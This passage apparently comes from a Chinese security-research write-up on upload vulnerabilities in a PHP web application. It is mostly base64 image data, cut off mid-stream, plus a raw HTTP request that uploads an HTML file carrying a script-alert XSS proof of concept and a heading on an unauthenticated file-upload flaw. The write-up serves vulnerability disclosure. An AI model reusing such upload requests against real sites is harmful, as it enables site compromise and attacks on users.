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 truncated
|
||||
这里要手动传参dir=file,要不然会默认当成image类型处理<br>
|
||||
<a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095139-6c409fc6-cec9-1.png><img src="data:image/png;base64,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 truncated
|
||||
<a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095148-7172440e-cec9-1.png><img src="data:image/png;base64,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 truncated
|
||||
<div class=highlight><pre><span></span><span class=x>POST /upload.php?dir=file HTTP/1.1</span>
|
||||
<span class=x>Host: 192.168.19.25:8888</span>
|
||||
<span class=x>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0</span>
|
||||
<span class=x>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span>
|
||||
<span class=x>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span>
|
||||
<span class=x>Accept-Encoding: gzip, deflate</span>
|
||||
<span class=x>Connection: close</span>
|
||||
<span class=x>Cookie: PHPSESSID=eb570d137174d94106f5bc0a</span>
|
||||
<span class=x>Upgrade-Insecure-Requests: 1</span>
|
||||
<span class=x>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywlAMbJmcCIjUNS80</span>
|
||||
<span class=x>Content-Length: 178</span>
|
||||
|
||||
<span class=x>------WebKitFormBoundarywlAMbJmcCIjUNS80</span>
|
||||
<span class=x>Content-Disposition: form-data; name="file";filename="1.html"</span>
|
||||
|
||||
<span class=x><script>alert(1)</script></span>
|
||||
<span class=x>------WebKitFormBoundarywlAMbJmcCIjUNS80--</span>
|
||||
</pre></div>
|
||||
<h2 id=toc-2><strong>前台文件上传漏洞</strong></h2>
|
||||
<p>这个未授权的文件很有意思,本意应该是想使用base64编码功能去写入图片,但是稍加修改即可传入恶意文件。<br>
|
||||
<a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095243-927fa51a-cec9-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABDQAAAHmCAYAAACMIN75AAEAAElEQVR4nOzdd3yd5X3//9d9tOcZ2ntZ8t57YYyZBsIMECChSRtI0zZp6Eq/bdr8mu6mJG1GE0iaAlkkIRAMNstghi0v4W3LQ5YsyZK1zjlaR0fjnPv3h2TpaNlHsi1Z+P18PPxAOvd1X+u+7Qf353yu6zba2tpMglBWVsa8efOCKSpyTWptbZ3sLoiIiIiIiFwzLJPdARERERERERGRsVJAQ0RERERERESmHAU0RERERERERGTKUUBDRERERERERKYcBTREREREREREZMpRQENEREREREREppzQyWq4rtFJSqKDD/YcGPH4vBnTsMbFTHCvRERERERERGQqmJSAxrGyChqdzaQkOmh0uUcs093TPbGdEhEREREREZEpY8KXnBwrq6C07MxENysiIiIiIiIiHyMTGtC42oMZW54wMFZ9i5MT0tpJvrXKwHhiyyS1f/Xa8sTgeREREREREREZasICGld7MENGsOUJDMMY+DNqkKEvOGM8wVQLQzhdbs7VN4x6vLa+AZe7eQJ7JCIiIiIiIsGYkD00/H4/SQ4bSQ5b/2dhoWET0bSM05YnDDY+/TibTZPbLlL25Lce48niCenWZdfZ1cWJ0xUApCYnDTp2rr6BE2XlFOXnTnzHRERERERE5IImJKDR0dlFg9M97POaC3wzLpNoyxN9wYwfXjSYwclv8diT8PjjK3n66Yno3OWVlpIMGBwvKwcGghrn6hs43hfM6C0jIiIiIiIiVxNLZWUlzc1XNqW+w+ultOzMiH8uzRaeMAxWfWvwrhND96Lo//3kt1gV1BKKAEPPMQyGn3Z+ycX5PyMsvRi2fOPV4Nsc1uDF2uudl1H7O7T+Ift2bHn5aVY+9ecXD2Zwkm899iQ89Sx/PuOihcd8HU5+a9WoY7ykazpEWkoSRfl5HC8r51x9A7V9wYzpBXkKZoiIiIiIiFylLC+88AKHDx+e7H5cecVPUvQYPGuamKaJeeIpVj698cIPwFuewCh6krmb+87pO+/QxsFBlJPf+iY8e77MCZ5a+TQbA4MEW57A2Pg0jwfUs5knR16mMUo/g29vC08YGzn01In+tu4uHdKXol/zyRMB5/MkRQHnv/w0zJ3B4KDJCJuVbnmiiCd5ime/Unj5r8PTG3mMZ/v6uJnHGTKnY6krCIFBjRN9wYyhS1BERERERETk6jEhm4Im2m3cc/O6Mf1JtNsucy8eZ/OOr9D/6F34FZ59aiU8/fIoG1lu4YmNT7PyqRP8MDBVoe+84ie/2X9e4Vd+yMAzfSFf+drjUFzKqQvUc9sPT/DUyuD7GXR7J0s5BMydMRBkuO0r5+s7ybe+8TSPb94x+Pxnn2Jl8a95NSBa8PTGxwYHTQYFPXqzJzY+PaSvQQnyOqwMDJTcxp8/tTJgTsdYV7CM8ZwkIiIiIiIikyH0wQcfxGq1XpHKzx7342n1X5a6Cpdc4nYfK2cwbWidM+YChyg9CbcNfSofITBwofN6N9EMLPX4Reu5lH6O2l7hHXxy5ZM8udHg6ZVPcSLwgf/kq/y6GIo3Goy03cXcUwC9/V351LPDgh6/LnqSb275Cj/kCYqehKdOBLHHxjjHx9wZFw+UjPWaXsD5DUCnF+RhmgzbU0NERERERESuLqHZ2dlXrHJPq5+jh45TefYEAFGRMRTl